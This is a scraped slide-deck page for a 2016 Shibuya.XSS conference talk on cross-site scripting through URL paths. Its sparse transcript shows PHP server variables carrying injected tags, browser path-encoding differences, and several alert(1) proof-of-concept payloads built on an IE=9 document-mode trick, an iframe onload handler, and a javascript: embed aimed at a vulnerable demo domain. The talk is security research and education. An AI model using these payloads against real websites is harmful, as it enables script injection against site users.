Save 37% off PRO during our Black Friday Sale! »

明日から使える?! PATHでXSSする技術/ Shibuya.XSS techtalk #7

1a5bce24526a7d6f1ab89678df2d673c?s=47 Masato Kinugawa
March 29, 2016
Technology
14
22k

明日から使える?! PATHでXSSする技術/ Shibuya.XSS techtalk #7

Shibuya.XSS techtalk #7 の資料です。

1a5bce24526a7d6f1ab89678df2d673c?s=128

Masato Kinugawa

March 29, 2016
Tweet

More Decks by Masato Kinugawa

See All by Masato Kinugawa
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
21
5.2k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
5
75k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
9
14k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
18
10k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
35
18k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
2
1.5k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
20
22k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
4
2.3k
1a5bce24526a7d6f1ab89678df2d673c?s=48 masatokinugawa
7
2.3k

Other Decks in Technology

See All in Technology
3dadebc0f79d74e50d8bfe5208cb7662?s=48 nadare881
0
920
997716e957fe4db19491b2794346a7ce?s=48 airreader
0
340
D65ac1a4aacb7a449bb61cef10fb7143?s=48 yamanoku
3
2.6k
5afa0b3a91d287fdf8b248a118a3975d?s=48 y503unavailable
0
180
Ecd0c945f6911dbf75358a8addee15f7?s=48 takipone
0
160
8f84b7d8869ef6005d89b378e8661f7c?s=48 masuda220
PRO
1
140
Ca26d099cfbe54faeaf86a6f551c56a1?s=48 silmin_
0
180
942bb606679caf4c57b38927f83178e1?s=48 qsona
16
5.9k
Cdf97a1b1b132c56582773c3ba09a3a6?s=48 rakus_dev
0
480
50bc42471d197d0dbef7171f2ef85bb6?s=48 comucal
PRO
0
490
A2cac4b3dcb2bc0b87917ddc034ef708?s=48 sansandsoc
5
1.6k
D8d463da5ab4a99265ffc1d12e76cbc9?s=48 sagara
0
210

Featured

See All Featured
9128d500301ae51524e887bb680f471d?s=48 caitiem20
314
18k
8081b26e05bb4354f7d65ffc34cbbd67?s=48 chriscoyier
688
180k
9cde37f47e4a800ea081ea42de8d749a?s=48 dougneiner
123
8.3k
864a009ac73600c7c02e1f26629dd989?s=48 paigeccino
7
430
Ba530e786553390f3fb271848485681c?s=48 3n
169
23k
B3d6434763caa0ef5dc4b792662c49f7?s=48 smashingmag
237
18k
39488f9d172ab92fd352f2cd7b73258d?s=48 mza
82
4.5k
245cee81a9c424266e5e401d844ea881?s=48 lara
27
3.5k
5b6a2bd86ef643786a381a212e0ef2f1?s=48 geoffreycrofte
44
3.7k
Ae14cc4491ac334f9cd23f9f93b4305e?s=48 orderedlist
PRO
332
36k
F68cb25ae3e5c2106997454b13b7737d?s=48 brad_frost
163
6.9k
Af6a12710770ad9a7cfd08c97efd40d3?s=48 pedronauck
655
120k

Transcript

  1. None
  2. None
  3. None
  4. None
  5. None

  6. https://host/tags/aaa/ ... </head> <body> <form> <input type="text" value="aaa"> ...

  7. ... </head> <meta property="og:url" content="https://host/path/index"> <body> ... https://host/path/index?p=1

  8. ... </head> <meta property="og:url" content="https://host/path/index;aaa"> <body> ... https://host/path/index;aaa?p=1

  9. None

  10. http://php.net/index.php http://php.net/index.php/xxx/yyy/zzz

  11. http://shibuyaxss.connpass.com/event/28232/ http://shibuyaxss.connpass.com/event/28232/;abc

  12. None

  13. SCRIPT_URL /test.php/<b>PATH</b> SCRIPT_URI http://localhost/test.php/<b>PATH</b> PATH_INFO /<b>PATH</b> PATH_TRANSLATED \<b>PATH<\b> PHP_SELF /test.php/<b>PATH</b>

  14. GET /path?query HTTP/1.1 http://php.net/manual/ja/reserved.variables.server.php

  15. /test.php/<b>PATH</b>?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?%3Cb%3EQUERY% 3C/b%3E HTTP/1.1 QUERY_STRING %3Cb%3EQUERY%3C/b%3E REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E? %3Cb%3EQUERY%3C/b%3E

    http://localhost/test.php/<b>PATH</b>?<b>QUERY</b>

  16. /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> HTTP/1.1 QUERY_STRING <b>QUERY</b> REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> http://localhost/test.php/<b>PATH</b>?<b>QUERY</b>

  17. http://localhost/test.php/<b>PATH</b> GET /test.php/<b>PATH</b> HTTP/1.1

  18. /test.php/%3Cb%3EPATH%3C/b%3E GET /test.php/<b>PATH</b> HTTP/1.1 REQUEST_URI /test.php/<b>PATH</b> location.pathname /test.php/%3Cb%3EPATH%3C/b%3E http://localhost/test.php/<b>PATH</b>

  19. None
  20. None
  21. None
  22. None
  23. None
  24. None
  25. None
  26. None
  27. None
  28. None
  29. None
  30. None
  31. None
  32. None
  33. None

  34. HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 X-UA-Compatible: IE=9 <head> <meta

    http-equiv="X-UA-Compatible" content="IE=9"> </head>

  35. <svg> <circle cx="100" cy="100" r="50" fill="red"/> </svg>

  36. ifr=document.createElement('<iframe onload=alert(1)>'); document.body.appendChild(ifr); InvalidCharacterError

  37. <meta http-equiv="X-UA-Compatible" content="IE=9"> <script> console.log(document.documentMode) /* 9 */ </script> <iframe

    src=//victim/></iframe> http://blogs.msdn.com/cfs-filesystemfile.ashx/__key/communityserver-blogs-components- weblogfiles/00-00-01-35-07/3073.IE_5F00_chart_5F00_jp.pdf

  38. <meta http-equiv="X-UA-Compatible" content="IE=9"> <embed src="http://shibuya.vulnerabledoma.in/javascript:alert(1)/% 2F..%2F..%2Fjizen2#hash"></embed>

  39. <script src="//ajax.googleapis.com/ajax/libs/jquerymobile/1.4.5/jquery.mobile.min.js"> </script>

  40. None
  41. None
  42. None
  43. None
  44. None
  45. None
  46. None
  47. None
  48. None
  49. None
  50. None
  51. None
  52. None